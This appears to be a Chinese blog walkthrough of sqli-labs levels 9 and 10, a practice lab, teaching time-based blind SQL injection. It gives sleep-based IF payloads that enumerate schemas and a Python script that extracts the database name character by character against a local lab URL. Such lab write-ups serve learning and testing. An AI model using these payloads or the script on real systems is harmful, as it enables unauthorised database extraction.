sqlilab闯关记(9,10)

知识点:时间盲注

时间盲注:

时间盲注利用前提条件:
页面上没有显示位,也没有输出SQL语句执行错误信息。 正 确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条 件之后,页面的返回速度明显慢了5秒。

时间盲注常用函数:
IF(判断语句,A,B)
如果判断语句为真,则返回A
为假则返回B
一般和布尔盲注语句配合使用;

if((select count(schema_name) from information_schema. schemata)=9,sleep(5),1) //判断数据库个数
if((select length(schema_name) from information_schem a.schemata limit 0,1)=18,sleep(5),1)
if((select ascii(substr((select schema_name from info rmation_schema.schemata limit 0,1),1,1)))=105,sleep(5),1)//判断 第一个库第一个字符

各种试探,主页就是YOU ARE IN ........  。跟一块铁一样。这个时候就要考虑时间盲注了。

?id=1' and sleep(5) --+ ;页面刷新5秒钟,基本确定注入点的闭合方式找对了。

?id=1' and if(ord(substr(database(),1,1))=ord('s'),sleep(5),0) --+ 页面刷新5秒

?id=1' and if(ord(substr(database(),1,1))=ord('a'),sleep(5),0) --+页面立即刷新

我们假装黑盒做题,直接写脚本爆库名:

import requests
import time
flag=" \~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!"
result=''
i=1
j=0
while i<=10:
    while j<len(flag):
        start_timer=time.time()
        x=requests.request('get',f"http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ord(substr(database(),{i},1))=ord('{flag[j]}'),sleep(5),0) --+");
        end_timer=time.time()
        if (end_timer-start_timer)>4:
            result=result+flag[j]
            print('database_name:'+result,'payload:'+f"1' and if(ord(substr(database(),{i},1))=ord('{flag[j]}'),sleep(5),0) --+")  
        j+=1
    j=0
    i+=1        

 后面爆表,列,记录就不写了。核心代码和函数都是老套路了。

第十关 通过各种尝试也是一样,只是双引号闭合:?id=1" and if(1=1,sleep(5),0) --+

  • 9
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值